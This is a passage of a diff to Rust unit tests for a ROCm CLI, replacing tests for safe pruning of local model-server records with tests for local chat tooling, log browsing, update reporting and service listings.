up would be - /// removable — taking the log and the 0600 endpoint key of a live process. #[test] - fn services_removal_refuses_a_failed_record_whose_process_is_still_alive() -> Result<()> { - let (root, paths) = test_paths("services-remove-live-pid"); - paths.ensure()?; - // This test process: a pid that is unambiguously running. - let record = plant_service_record(&paths, "svc-zombie", "failed", std::process::id())?; + fn local_chat_follow_up_with_tool_call_is_not_final_answer() { + let response = providers::ChatResponse { + provider: "local".to_owned(), + model: "Qwen/Qwen3-0.6B".to_owned(), + content: "The runtime root is /opt/rocml.".to_owned(), + tool_calls: vec![providers::ChatToolCall { + id: Some("call-2".to_owned()), + name: "examine".to_owned(), + arguments: serde_json::json!({}), + }], + }; - let remove_error = remove_managed_service_record(&paths, "svc-zombie", true); - let prune = prune_managed_service_records(&paths, 0, false, true); - let prune = match prune { - Ok(outcome) => outcome, - Err(error) => { - let _ = fs::remove_dir_all(&root); - return Err(error); - } + assert!(!local_follow_up_content_is_final(&response)); + + let final_answer = providers::ChatResponse { + tool_calls: Vec::new(), + content: "The runtime root is D:\\ROCm\\therock_venvs.".to_owned(), + ..response }; - let manifest_exists = record.manifest_path.exists(); - let _ = fs::remove_dir_all(&root); + assert!(local_follow_up_content_is_final(&final_answer)); + } - let message = remove_error - .err() - .map(|error| error.to_string()) - .unwrap_or_default(); - assert!( - message.contains("cannot be removed while it is running"), - "a record with a live pid must be refused whatever its status: {message}" + #[test] + fn visible_chat_content_removes_reasoning_blocks() { + assert_eq!( + visible_chat_content( + "\nchecking the tool output\n\nThe runtime root is D:\\ROCm\\temp." + ), + "The runtime root is D:\\ROCm\\temp." ); - assert!(manifest_exists, "nothing may be deleted:\n{}", prune.text); - assert_eq!(prune.removed_records, 0); assert_eq!( - prune.skipped_live, 1, - "prune must count it as still running:\n{}", - prune.text + visible_chat_content("Before\nhidden\nAfter"), + "Before\n\nAfter" ); - Ok(()) + assert_eq!(visible_chat_content("unfinished"), ""); } - /// A file `prune` cannot delete must be *reported*, not swallowed and not - /// propagated: the plan, the per-record progress and the audit event all - /// have to survive it, because a destructive command that loses its own - /// account of what it deleted is worse than one that fails. The record whose - /// file survived also must not be counted as removed. - /// - /// A non-empty directory standing where the engine state file belongs is the - /// portable way to make `fs::remove_file` fail on both supported hosts; the - /// premise is asserted rather than assumed. #[test] - fn services_prune_reports_a_file_it_could_not_remove() -> Result<()> { - let (root, paths) = test_paths("services-prune-undeletable"); - paths.ensure()?; - let record = plant_service_record(&paths, "svc-stuck", "failed", 999_999_999)?; - let stuck = record.engine_state_path.clone(); - fs::remove_file(&stuck)?; - fs::create_dir(&stuck)?; - fs::write(stuck.join("held.json"), b"{}")?; - assert!( - fs::remove_file(&stuck).is_err(), - "premise: {} must be undeletable by `remove_file`", - stuck.display() + fn chat_tool_result_errors_use_plain_failure_wording() { + assert_eq!(chat_read_only_tool_status_label(false), "done"); + assert_eq!(chat_read_only_tool_status_label(true), "reported an error"); + assert_eq!(chat_tool_display_label("examine"), "Checked this computer"); + assert_eq!( + chat_tool_display_label("gpu_snapshot"), + "Checked GPU status" ); + assert_eq!(chat_tool_display_label("install_sdk"), "Install ROCm"); + assert!(mcp_tool_result_is_error(&serde_json::json!({ + "isError": true + }))); + assert!(!mcp_tool_result_is_error(&serde_json::json!({ + "isError": false + }))); + assert!(!mcp_tool_result_is_error(&serde_json::json!({}))); + } - let outcome = prune_managed_service_records(&paths, 0, false, true); - let outcome = match outcome { - Ok(outcome) => outcome, - Err(error) => { - let _ = fs::remove_dir_all(&root); - return Err(error); - } - }; - let manifest_exists = record.manifest_path.exists(); - let stuck_exists = stuck.exists(); - let _ = fs::remove_dir_all(&root); + #[test] + fn local_chat_without_service_explains_serve_before_chat_without_llm_setup() { + let (_root, paths) = test_paths("local-chat-no-service-guidance"); + let result = + render_chat_prompt_result(&paths, "local", None, "Check this ROCm setup", true) + .expect("missing local assistant should render guidance"); + assert!(result.approval.is_none()); + let rendered = result.rendered; - assert!(stuck_exists, "premise: the stuck path must survive"); + assert!(rendered.contains("No local assistant is running yet.")); + assert!(rendered.contains("First-time ROCm setup does not need an LLM")); + assert!(rendered.contains("Recommended path:")); + assert!(rendered.contains("Advanced manual command")); + assert!(rendered.contains( + "rocm serve Qwen3-4B-Instruct-2507-GGUF --engine lemonade --device gpu_required --managed" + )); + assert!(!rendered.contains("sshleifer/tiny-gpt2")); + assert!(rendered.contains("rocm chat --tools --provider local --prompt")); + assert!(rendered.contains("Nothing was changed.")); + assert!(!rendered.contains("install sdk")); + assert!(!rendered.contains("setup TheRock with an LLM")); + } + + #[test] + fn local_chat_status_prompts_use_read_only_tools_without_assistant() -> Result<()> { + let (_root, paths) = test_paths("local-chat-status-fallback"); + + let running = + render_chat_prompt_result(&paths, "local", None, "Is vLLM running?", true)?.rendered; + assert!(!running.contains("No local assistant is running yet.")); + assert!(running.contains("Checked model servers: done"), "{running}"); + assert!(running.contains("ROCm CLI summary"), "{running}"); assert!( - !manifest_exists, - "one unremovable file must not strand the other three:\n{}", - outcome.text - ); - assert_eq!(outcome.removed_files, 3); - assert_eq!( - outcome.removed_records, 0, - "a record that still owns a file on disk is not removed:\n{}", - outcome.text - ); - assert_eq!( - outcome.failures.len(), - 1, - "the failure must be collected so the caller can fail the command:\n{}", - outcome.text + running.contains("Local model servers: none running under ROCm CLI."), + "{running}" ); + assert!(running.contains("Nothing was changed.")); + + let installed = + render_chat_prompt_result(&paths, "local", None, "Is vLLM installed?", true)?.rendered; + assert!(!installed.contains("No local assistant is running yet.")); + assert!(installed.contains("Engine runtimes:"), "{installed}"); + assert!(installed.contains("vLLM:"), "{installed}"); + + let installed_and_running = render_chat_prompt_result( + &paths, + "local", + None, + "Is vLLM installed and is it running?", + true, + )? + .rendered; assert!( - outcome.failures[0].contains(&stuck.display().to_string()), - "the failure must name the path: {:?}", - outcome.failures + installed_and_running.contains("Checked local engines: done"), + "{installed_and_running}" ); assert!( - outcome - .text - .contains("1 local server record(s) would be removed"), - "the plan must still be rendered:\n{}", - outcome.text + installed_and_running.contains("Checked model servers: done"), + "{installed_and_running}" ); assert!( - outcome.text.contains("1 file(s) could not be removed:"), - "the run must say what it could not delete:\n{}", - outcome.text + installed_and_running.contains("Engine runtimes:"), + "{installed_and_running}" ); assert!( - outcome - .text - .contains("Re-running is safe: everything already removed stays removed."), - "the user needs to know a re-run is not destructive twice over:\n{}", - outcome.text + installed_and_running.contains("Local model servers: none running under ROCm CLI."), + "{installed_and_running}" ); + + let port = render_chat_prompt_result( + &paths, + "local", + None, + "What is running on port 8188?", + true, + )? + .rendered; + assert!(!port.contains("No local assistant is running yet.")); + assert!(port.contains("Checked local port: done"), "{port}"); + assert!(port.contains("Port 8188:"), "{port}"); Ok(()) } - /// The window the pre-delete liveness re-check exists to narrow: the plan is - /// built from a snapshot, and a `rocm services restart --yes` landing - /// between that snapshot and the delete would otherwise have its log and its - /// 0600 endpoint key deleted out from under a serving process. - /// - /// Driven through [`apply_service_prune_plan`] with a hand-built plan - /// because the window cannot be opened from outside: `prune` builds and - /// applies the plan in one call, so a record is either live for both halves - /// or dead for both. The two `skipped_live` assertions elsewhere in this - /// module both plant an already-live record, which is satisfied by the - /// *plan-building* skip and never reaches this branch. #[test] - fn services_prune_leaves_a_record_that_restarted_after_the_plan_was_built() -> Result<()> { - let (root, paths) = test_paths("services-prune-relaunched"); - paths.ensure()?; - // Live at apply time. The current process is a guaranteed-live pid. - let record = plant_service_record(&paths, "svc-relaunched", "ready", std::process::id())?; - // The entry a plan built moments earlier, while the record was still - // stopped, would carry into the delete loop. - let artifacts = match service_record_artifacts(&paths, "svc-relaunched", "vllm") { - Ok(artifacts) => artifacts, - Err(error) => { - let _ = fs::remove_dir_all(&root); - return Err(error); + fn chat_tools_anthropic_reaches_provider_opt_in_boundary() { + let (_root, paths) = test_paths("anthropic-chat-tools-opt-in"); + + let error = render_chat_prompt_result( + &paths, + "anthropic", + Some("claude-test"), + "Check this ROCm setup", + true, + ) + .unwrap_err() + .to_string(); + + assert!(error.contains("cloud provider `anthropic` is disabled")); + assert!(error.contains("rocm config enable-provider anthropic")); + assert!(!error.contains("OpenAI-compatible provider")); + } + + #[test] + fn freeform_execution_validation_rejects_provider_assisted_plans() -> Result<()> { + let content = r#"{ + "intent": "serve", + "tool_call": { + "tool": "rocm", + "args": ["serve", "sshleifer/tiny-gpt2", "--engine", "vllm", "--managed"] } - }; - let plan = ServicePrunePlan { - remove: vec![ServicePruneEntry { - service_id: "svc-relaunched".to_owned(), - engine: "vllm".to_owned(), - status: "stopped".to_owned(), - artifacts, - }], - ..ServicePrunePlan::default() - }; + }"#; + let plan = provider_planner_response_to_plan("start a local model", "local", content)?; + let action = plan_next_action(plan).expect("provider plan should have an action"); - let mut outcome = ServicePruneOutcome::default(); - apply_service_prune_plan(&paths, &plan, &mut outcome); - let manifest_exists = record.manifest_path.exists(); - let log_exists = record.log_path.exists(); - let key_exists = endpoint_keys::endpoint_key_file_path(&paths, "svc-relaunched").exists(); - let _ = fs::remove_dir_all(&root); + let error = validate_freeform_execution_action(&action) + .unwrap_err() + .to_string(); - assert!( - manifest_exists, - "a record that came back to life must not be deleted:\n{}", - outcome.text - ); - assert!( - log_exists, - "the log of a live process must survive:\n{}", - outcome.text - ); - assert!( - key_exists, - "the 0600 endpoint key of a live process must survive:\n{}", - outcome.text - ); - assert_eq!(outcome.removed_records, 0); - assert_eq!(outcome.removed_files, 0); - assert_eq!( - outcome.skipped_live, 1, - "the re-check's skip must be counted like any other:\n{}", - outcome.text - ); - assert!( - outcome - .text - .contains(" svc-relaunched started again while this ran and was left alone."), - "the skip must be on screen, not silent:\n{}", - outcome.text - ); + assert!(action.provider_assisted); + assert!(error.contains("reviewed interactively")); Ok(()) } - /// `prunable_by_modified` promises to fail *closed*: a modification time - /// that yields no age — a file stamped in the future by clock skew or a - /// stray `touch` — is kept, and only the explicit zero-age opt-out overrides - /// that. Neither half was asserted anywhere: every other test plants a - /// readable past time, for which `is_some_and` and `is_none_or` agree and - /// the `min_age.is_zero()` early return is unreachable. #[test] - fn services_prune_keeps_a_future_dated_record_until_any_age() -> Result<()> { - let (root, paths) = test_paths("services-prune-future-mtime"); - paths.ensure()?; - let record = plant_service_record(&paths, "svc-future", "failed", 999_999_999)?; - // `now.duration_since(future)` is an error, so `age_from_modified` has - // no age to compare against the threshold. - let backdate = |to: SystemTime| -> Result<()> { - fs::File::options() - .write(true) - .open(&record.manifest_path)? - .set_modified(to)?; - Ok(()) - }; - let next_year = SystemTime::now() + Duration::from_hours(24 * 365); - backdate(next_year)?; - assert!( - age_from_modified(path_modified(&record.manifest_path), SystemTime::now()).is_none(), - "premise: a future-stamped manifest must have no age" - ); + fn render_update_text_reports_all_update_surfaces() -> Result<()> { + let (root, paths) = test_paths("update-surfaces"); - let kept = - prune_managed_service_records(&paths, DEFAULT_SERVICE_PRUNE_MIN_AGE_HOURS, false, true); - let kept = match kept { - Ok(outcome) => outcome, - Err(error) => { - let _ = fs::remove_dir_all(&root); - return Err(error); - } - }; - let kept_manifest = record.manifest_path.exists(); + let rendered = render_update_text(&paths)?; + fs::remove_dir_all(root).ok(); - // Re-stamped so the second run really does meet the no-age case rather - // than a time the first run's refresh may have rewritten to `now`. - // Ignored rather than `?`-ed: if the first run wrongly deleted the - // manifest there is nothing left to stamp, and the `kept_manifest` - // assertion below has to be what reports that, not an "os error 2". - let _ = backdate(next_year); - let taken = parse_services_prune_args(&["rocm", "services", "prune", "--any-age", "--yes"]) - .and_then(|(hours, dry_run, yes)| { - assert_eq!(hours, 0, "--any-age must collapse to the zero-age rule"); - prune_managed_service_records(&paths, hours, dry_run, yes) - }); - let taken = match taken { - Ok(outcome) => outcome, - Err(error) => { - let _ = fs::remove_dir_all(&root); - return Err(error); - } - }; - let taken_manifest = record.manifest_path.exists(); - let _ = fs::remove_dir_all(&root); + assert!(rendered.contains("update_surfaces:")); + assert!(rendered.contains("cli: installed=")); + assert!(rendered.contains("status=not_configured")); + assert!(rendered.contains("engines: status=package_managed")); + assert!(rendered.contains("model_recipes: status=")); + assert!(rendered.contains("runtimes: status=none_configured")); + assert!(rendered.contains("`rocm update --apply` applies runtime updates only")); + Ok(()) + } - assert!( - kept_manifest, - "a time that cannot be aged must fail closed under the default rule:\n{}", - kept.text - ); - assert_eq!(kept.removed_records, 0); - assert_eq!( - kept.skipped_recent, 1, - "the keep must be reported, not silent:\n{}", - kept.text - ); - assert!( - !taken_manifest, - "--any-age is the opt-out that takes it anyway:\n{}", - taken.text - ); - assert_eq!(taken.removed_records, 1); - assert_eq!(taken.skipped_recent, 0); + #[test] + fn render_logs_text_preserves_directory_summary() { + let (_root, paths) = test_paths("logs-summary"); + let rendered = render_logs_text(&paths); + + assert!(rendered.contains("Logs")); + assert!(rendered.contains("File locations: shown")); + assert!(rendered.contains(&format!( + " Folder: {}", + paths.data_dir.join("logs").display() + ))); + assert!(rendered.contains(&format!( + " Activity log: {}", + cli_lifecycle_log_path(&paths).display() + ))); + assert!(rendered.contains(" Command logs:")); + assert!(rendered.contains(" Screen command logs:")); + assert!(rendered.contains(&format!( + " Audit events: {}", + paths.audit_events_path().display() + ))); + assert!(rendered.contains(" Recent command files: none yet")); + assert!(rendered.contains("Recent activity: no activity yet")); + assert!(rendered.contains("Matching lines")); + assert!(rendered.contains(" Search: none")); + assert!(rendered.contains(" No logs found yet.")); + } + + #[test] + fn render_logs_text_lists_action_logs_and_recent_lifecycle_tail() -> Result<()> { + let (root, paths) = test_paths("logs-navigation"); + fs::create_dir_all(paths.data_dir.join("logs").join("cli"))?; + fs::write( + cli_lifecycle_log_path(&paths), + (0..10).fold(String::new(), |mut acc, index| { + let _ = writeln!( + acc, + "{index} level=info category=runtime action=install_sdk message=event-{index}" + ); + acc + }), + )?; + fs::write( + paths + .data_dir + .join("logs") + .join("cli") + .join("runtime-install_sdk.log"), + "install event\n", + )?; + fs::write( + paths + .data_dir + .join("logs") + .join("cli") + .join("update-update_check.log"), + "update event\n", + )?; + + let rendered = render_logs_text(&paths); + + assert!(rendered.contains(" Recent command files:")); + assert!(rendered.contains("runtime-install_sdk.log")); + assert!(rendered.contains("update-update_check.log")); + assert!(rendered.contains("Recent activity: last 8 line(s)")); + assert!(!rendered.contains("event-0")); + assert!(!rendered.contains("event-1")); + assert!(rendered.contains("Install: event-2")); + assert!(rendered.contains("event-2")); + assert!(rendered.contains("event-9")); + assert!(rendered.contains(" Lines: 10 of 10 recent line(s)")); + assert!(rendered.contains(" command log runtime-install_sdk.log: install event")); + let _ = fs::remove_dir_all(root); Ok(()) } #[test] - fn services_prune_requires_yes_unless_dry_run() -> Result<()> { - let (root, paths) = test_paths("services-prune-yes"); - paths.ensure()?; - plant_service_record(&paths, "svc-prune-yes", "failed", 999_999_999)?; + fn render_logs_text_lists_screen_command_logs() -> Result<()> { + let (root, paths) = test_paths("logs-screen-command"); + let screen_dir = paths.data_dir.join("logs").join("tui"); + fs::create_dir_all(&screen_dir)?; + let screen_log = screen_dir.join("12345-install-the-rock-sdk.log"); + fs::write( + &screen_log, + "title: Install TheRock SDK\n\ + recent_live_output:\n\ + Output: resolving torch wheels\n\ + command_output:\n\ + stdout:\n\ + resolved torch\n", + )?; - let error = prune_managed_service_records(&paths, 0, false, false) - .expect_err("prune without --yes must fail"); - let manifest_exists = paths.service_manifest_path("svc-prune-yes").exists(); - let _ = fs::remove_dir_all(&root); + let rendered = render_logs_text(&paths); - let message = error.to_string(); - assert!(message.contains("requires --yes"), "unexpected: {message}"); - assert!( - message.contains("rocm services prune --dry-run"), - "the error must name the preview command: {message}" - ); - assert!(manifest_exists, "a refused prune must delete nothing"); + assert!(rendered.contains(" Screen command logs:")); + assert!(rendered.contains("screen/12345-install-the-rock-sdk.log")); + assert!(rendered.contains("screen command log 12345-install-the-rock-sdk.log")); + assert!(rendered.contains("Output: resolving torch wheels")); + assert!(rendered.contains(" Lines: 6 of 6 recent line(s)")); + let filtered = render_logs_browser_text(&paths, Some("torch wheels")); + assert!(filtered.contains("Search: torch wheels")); + assert!(filtered.contains("Output: resolving torch wheels")); + assert!(filtered.contains("screen command log 12345-install-the-rock-sdk.log")); + let _ = fs::remove_dir_all(root); Ok(()) } #[test] - fn duplicate_managed_launch_detected_across_distinct_service_ids() -> Result<()> { - // `generate_service_id` embeds a timestamp, so a second launch for the - // same engine+model has a DIFFERENT service_id. The guard must still - // detect the live service by (engine, canonical_model_id), and return - // the newest live match. `starting` skips the endpoint probe; the - // current process id is a guaranteed-live PID. - let (root, paths) = test_paths("dup-managed-distinct-ids"); - paths.ensure()?; + fn render_logs_browser_text_filters_lifecycle_and_action_logs() -> Result<()> { + let (root, paths) = test_paths("logs-browser-search"); + fs::create_dir_all(paths.data_dir.join("logs").join("cli"))?; + fs::write( + cli_lifecycle_log_path(&paths), + "1 level=info category=runtime action=install_sdk message=installed sdk\n\ + 2 level=info category=service action=serve message=server ready\n", + )?; + fs::write( + paths + .data_dir + .join("logs") + .join("cli") + .join("service-serve.log"), + "server ready\nmodel warmed\n", + )?; - // Older, dead manifest for the same engine+model (distinct service_id). - let mut dead = ManagedServiceRecord::new( - &paths, - "lemonade-qwen-1000", - "lemonade", - "qwen", - "qwen-canonical", - "127.0.0.1", - 11500, - "managed", - 999_999_999, - None, - None, - None, + let rendered = render_logs_browser_text(&paths, Some("server")); + + assert!(rendered.contains(" Search: server")); + assert!(rendered.contains(" Lines: 2 of 4 recent line(s)")); + assert!(rendered.contains(" recent activity: Service event: server ready")); + assert!(rendered.contains(" command log service-serve.log: server ready")); + assert!(!rendered.contains("installed sdk")); + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn render_logs_browser_page_text_paginates_matching_lines() -> Result<()> { + let (root, paths) = test_paths("logs-browser-pages"); + let action_dir = paths.data_dir.join("logs").join("cli"); + fs::create_dir_all(&action_dir)?; + fs::write(action_dir.join("a.log"), "alpha-1\nalpha-2\nalpha-3\n")?; + fs::write(action_dir.join("b.log"), "alpha-4\nalpha-5\nalpha-6\n")?; + + let rendered = render_logs_browser_page_text(&paths, Some("alpha"), 1, 4); + + assert!(rendered.contains(" Page: 2 of 2")); + assert!(rendered.contains(" Showing: 5-6 of 6")); + assert!(!rendered.contains("alpha-1")); + assert!(rendered.contains("alpha-5")); + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn cli_lifecycle_tail_lines_render_compactly() { + let rendered = format_cli_lifecycle_tail_line( + "42 level=error category=runtime action=install_sdk service_id= message=line one", ); - dead.status = "ready".to_owned(); - dead.engine_pid = Some(999_999_999); - dead.created_at_unix_ms = 1000; - dead.write()?; - // Newer, live manifest for the same engine+model (distinct service_id). - let mut live = ManagedServiceRecord::new( + assert_eq!(rendered, "Install (error): line one"); + } + + #[test] + fn render_service_logs_text_tails_manifest_log() -> Result<()> { + let (root, paths) = test_paths("service-logs"); + paths.ensure()?; + + let mut record = ManagedServiceRecord::new( &paths, - "lemonade-qwen-2000", - "lemonade", - "qwen", - "qwen-canonical", + "svc_qwen35_primary", + "vllm", + "qwen3.5", + "Qwen/Qwen3.5", "127.0.0.1", - 11501, + 11435, "managed", std::process::id(), + Some("therock-release".to_owned()), None, - None, - None, + Some("gpu_preferred".to_owned()), ); - live.status = "starting".to_owned(); - live.engine_pid = Some(std::process::id()); - live.created_at_unix_ms = 2000; - live.write()?; + record.status = "ready".to_owned(); + record.write()?; + + let mut log = String::new(); + for index in 1..=90 { + let _ = writeln!(log, "entry-{index:03}"); + } + fs::write(&record.log_path, log)?; + + let rendered = render_service_logs_text(&paths, "svc_qwen35_primary")?; + assert!(rendered.contains("Service Log")); + assert!(rendered.contains("Service: svc_qwen35_primary")); + assert!(rendered.contains("Engine: vllm")); + assert!(rendered.contains("Status: starting")); + assert!(rendered.contains("File locations: shown")); + assert!(rendered.contains(&format!( + " Details file: {}", + record.manifest_path.display() + ))); + assert!(rendered.contains(&format!(" Log file: {}", record.log_path.display()))); + assert!(!rendered.contains("entry-010")); + assert!(rendered.contains("entry-011")); + assert!(rendered.contains("entry-090")); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn render_services_text_lists_live_services_by_default_and_all_on_request() -> Result<()> { + use std::io::{Read, Write}; + use std::net::TcpListener; + + let (root, paths) = test_paths("services-list"); + paths.ensure()?; + let listener = TcpListener::bind(("127.0.0.1", 0))?; + let ready_port = listener.local_addr()?.port(); + // The ready service is listed and then asked to complete a request: + // readiness is not granted on the model listing alone. + let server = thread::spawn(move || -> Result<()> { + for _ in 0..2 { + let (mut stream, _) = listener.accept()?; + stream.set_read_timeout(Some(Duration::from_secs(2)))?; + let mut request = [0_u8; 512]; + let read = stream.read(&mut request)?; + let request = String::from_utf8_lossy(&request[..read]).into_owned(); + let body = if request.starts_with("POST /v1/chat/completions ") { + r#"{"choices":[{"message":{"content":"ok"}}]}"# + } else { + r#"{"data":[{"id":"Qwen/Qwen3.5"}]}"# + }; + write!( + stream, + "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}", + body.len(), + body + )?; + } + Ok(()) + }); + let current_pid = std::process::id(); - let found = existing_live_managed_service(&paths, "lemonade", "qwen-canonical"); + for (service_id, status, port) in [ + ("svc-ready", "ready", ready_port), + ("svc-starting", "starting", 11436_u16), + ("svc-failed", "failed", 11437_u16), + ] { + let mut record = ManagedServiceRecord::new( + &paths, + service_id, + "vllm", + "qwen", + "Qwen/Qwen3.5", + "127.0.0.1", + port, + "managed", + current_pid, + Some("therock-release".to_owned()), + None, + Some("gpu_required".to_owned()), + ); + record.status = status.to_owned(); + record.write()?; + } + + let rendered = render_services_text(&paths, false)?; + server + .join() + .expect("fake models server should not panic")?; + let all = render_services_text(&paths, true)?; let _ = fs::remove_dir_all(root); - let found = found.expect("a live managed service should be detected by engine+model"); - assert_eq!( - found.service_id, "lemonade-qwen-2000", - "should return the newest live match" + assert!(rendered.contains("Local Servers")); + // The header counts the whole registry, so the hidden `failed` record + // is admitted to rather than silently dropped from the default view. + assert!( + rendered.contains("Status: 1 ready, 1 starting, 1 not running"), + "{rendered}" ); - assert!(managed_service_is_live(&found)); + assert!( + rendered + .contains("Past attempts: 1 local server record(s) that are no longer running."), + "{rendered}" + ); + assert!( + rendered.contains(" Read the newest: rocm services logs svc-failed"), + "{rendered}" + ); + assert!(rendered.contains("- svc-ready")); + assert!(rendered.contains(" stop: rocm services stop svc-ready --yes")); + assert!(!rendered.contains("- svc-failed")); + assert!(all.contains("- svc-failed")); + assert!(all.contains(" restart: rocm services restart svc-failed --yes")); + assert!(!rendered.contains("running servers")); Ok(()) } + /// The default view lists only live servers. The counts used to be taken + /// from that already-filtered list, so a host whose local servers had all + /// failed was told "none ready" and shown an empty list - the records were + /// on disk, unmentioned, and nothing on screen said how to reach them. + /// Counts now come from the unfiltered registry; the rows stay filtered. #[test] - fn dead_managed_service_allows_relaunch() -> Result<()> { - // A stale manifest with dead PIDs must NOT block a relaunch: liveness - // refresh demotes it to "stopped", so the guard returns None. - let (root, paths) = test_paths("dup-managed-dead"); + fn render_services_text_surfaces_records_the_default_view_hides() -> Result<()> { + let (root, paths) = test_paths("services-past-attempts-only"); paths.ensure()?; - let mut record = ManagedServiceRecord::new( - &paths, - "lemonade-qwen-3000", - "lemonade", - "qwen", - "qwen-canonical", - "127.0.0.1", - 11502, - "managed", - 999_999_999, - None, - None, - None, - ); - record.status = "ready".to_owned(); - record.engine_pid = Some(999_999_999); - record.write()?; + // Not live, so `refresh_managed_service_runtime_liveness` returns before + // any endpoint probe or pid check: no network, no timing dependence. + for (service_id, created_at) in [("svc-older", 1_000_u128), ("svc-newest", 2_000_u128)] { + let mut record = ManagedServiceRecord::new( + &paths, + service_id, + "vllm", + "qwen", + "Qwen/Qwen3.5", + "127.0.0.1", + 11500, + "managed", + 999_999_999, + None, + None, + None, + ); + record.status = "failed".to_owned(); + record.created_at_unix_ms = created_at; + record.write()?; + } - let found = existing_live_managed_service(&paths, "lemonade", "qwen-canonical"); + let rendered = render_services_text(&paths, false)?; + let all = render_services_text(&paths, true)?; let _ = fs::remove_dir_all(root); + assert!(rendered.contains("Status: 2 not running"), "{rendered}"); + assert!(!rendered.contains("none ready"), "{rendered}"); assert!( - found.is_none(), - "a dead managed service must not block relaunch" + rendered.contains("No local servers are running."), + "{rendered}" + ); + assert!( + rendered + .contains("Past attempts: 2 local server record(s) that are no longer running."), + "{rendered}" + ); + assert!( + rendered.contains(" See them: rocm services list --all"), + "{rendered}" ); + // A real id, newest first, so the line can be pasted as-is. + assert!( + rendered.contains(" Read the newest: rocm services logs svc-newest"), + "{rendered}" + ); + // The other two lines only let the user look. Each record keeps an + // unrotated engine log, so `prune` is the only line here that gets any + // of that space back - without it the block is a dead end on exactly + // the host that needs it most. + assert!( + rendered.contains(" Reclaim the space: rocm services prune"), + "{rendered}" + ); + // The `--all` header is fixed by the same change; it lists the rows, so + // it does not repeat the pointer. + assert!(all.contains("Status: 2 not running"), "{all}"); + assert!(all.contains("- svc-newest"), "{all}"); + assert!(!all.contains("Past attempts:"), "{all}"); Ok(()) } + /// The host this change is NOT meant to touch: nothing has ever been served, + /// so there is no record to point at and the output must read exactly as it + /// did before. Every other test here plants at least one record, so without + /// this one the zero case has no coverage at all - and it is the case the + /// hint's separator regressed, by printing a blank line the old output never + /// had between "No local servers are running." and the next line. #[test] - fn live_service_for_other_model_does_not_block() -> Result<()> { - // A live service for a DIFFERENT model must not match — the guard keys - // on the model, not just the engine. - let (root, paths) = test_paths("dup-managed-other-model"); + fn render_services_text_leaves_a_host_that_never_served_untouched() -> Result<()> { + let (root, paths) = test_paths("services-never-served"); paths.ensure()?; - let mut record = ManagedServiceRecord::new( - &paths, - "lemonade-other-1", - "lemonade", - "other", - "other-canonical", - "127.0.0.1", - 11503, - "managed", - std::process::id(), - None, - None, - None, - ); - record.status = "starting".to_owned(); - record.engine_pid = Some(std::process::id()); - record.write()?; - let found = existing_live_managed_service(&paths, "lemonade", "qwen-canonical"); + let rendered = render_services_text(&paths, false)?; let _ = fs::remove_dir_all(root); - assert!( - found.is_none(), - "a live service for a different model must not match" + assert_eq!( + rendered, + "Local Servers\n\ + \n\ + Status: none ready\n\ + \n\ + No local servers are running.\n\ + Start one with `rocm serve --managed`, or run `rocm` and choose Serve.\n", + "{rendered}" ); Ok(()) } + /// A host can have one server running and several that failed, so the + /// populated branch of the default view needs the same pointer as the empty + /// one - the failed records are hidden there too. #[test] - fn missing_manifest_allows_launch() { - // No services dir / manifests → nothing to detect, launch proceeds. - let (root, paths) = test_paths("dup-managed-missing"); - let found = existing_live_managed_service(&paths, "lemonade", "qwen-canonical"); - let _ = fs::remove_dir_all(root); - assert!(found.is_none()); - } - - #[test] - fn spawn_managed_engine_child_blocks_reuse_with_mismatched_recipe() -> Result<()> { - // A live service recorded with one recipe (e.g. a tool-call parser flag) - // must reject a relaunch requesting a different recipe rather than - // silently reusing the old server, and the error must not claim the - // mismatch is specifically about generation defaults when it could stem - // from any recipe field. - let (root, paths) = test_paths("dup-managed-recipe-mismatch"); + fn render_services_text_points_at_past_attempts_beside_a_live_server() -> Result<()> { + let (root, paths) = test_paths("services-past-attempts-mixed"); paths.ensure()?; - let mut existing = ManagedServiceRecord::new( + let current_pid = std::process::id(); + // `starting` skips the endpoint probe and this process is a + // guaranteed-live pid, so the record stays live without any network. + let mut live = ManagedServiceRecord::new( &paths, - "lemonade-qwen-1000", - "lemonade", + "svc-live", + "vllm", "qwen", - "qwen-canonical", + "Qwen/Qwen3.5", "127.0.0.1", - 11510, + 11501, "managed", - std::process::id(), + current_pid, None, None, None, ); - existing.status = "ready".to_owned(); - existing.engine_pid = Some(std::process::id()); - existing.engine_recipe_json = Some(serde_json::to_string(&EngineRecipeHint { - contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), - engine: "lemonade".to_owned(), - required_flags: vec!["--tool-call-parser".to_owned(), "hermes".to_owned()], - ..EngineRecipeHint::default() - })?); - existing.write()?; - - let resolve = ResolveModelResponse { - canonical_model_id: "qwen-canonical".to_owned(), - task: "chat".to_owned(), - source: "hf".to_owned(), - revision: "main".to_owned(), - loader: "llama.cpp".to_owned(), - trust_remote_code: false, - chat_template_mode: "auto".to_owned(), - dtype: "auto".to_owned(), - device_policy: DevicePolicy::GpuPreferred, - estimated_memory: "unknown".to_owned(), - launch_defaults: serde_json::json!({}), - engine_recipe: None, - warnings: Vec::new(), - }; - let requested_recipe = EngineRecipeHint { - contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), - engine: "lemonade".to_owned(), - required_flags: vec!["--temperature".to_owned(), "0.5".to_owned()], - ..EngineRecipeHint::default() - }; + live.status = "starting".to_owned(); + live.engine_pid = Some(current_pid); + live.created_at_unix_ms = 3_000; + live.write()?; + for (service_id, created_at) in [ + ("svc-failed-older", 1_000_u128), + ("svc-failed-newest", 2_000_u128), + ] { + let mut record = ManagedServiceRecord::new( + &paths, + service_id, + "vllm", + "qwen", + "Qwen/Qwen3.5", + "127.0.0.1", + 11502, + "managed", + 999_999_999, + None, + None, + None, + ); + record.status = "failed".to_owned(); + record.created_at_unix_ms = created_at; + record.write()?; + } - let result = spawn_managed_engine_child( - &paths, - "lemonade", - "lemonade-qwen-2000", - "qwen", - &resolve, - "127.0.0.1", - 11511, - &resolve.device_policy, - &[], - None, - None, - Some(&requested_recipe), - false, - ); + let rendered = render_services_text(&paths, false)?; let _ = fs::remove_dir_all(root); - let Err(error) = result else { - panic!("mismatched recipe on a live service must be rejected") - }; - let message = error.to_string(); assert!( - message.contains("different serve options"), - "message should describe the mismatch generically: {message}" + rendered.contains("Status: 1 starting, 2 not running"), + "{rendered}" ); + // Rows stay 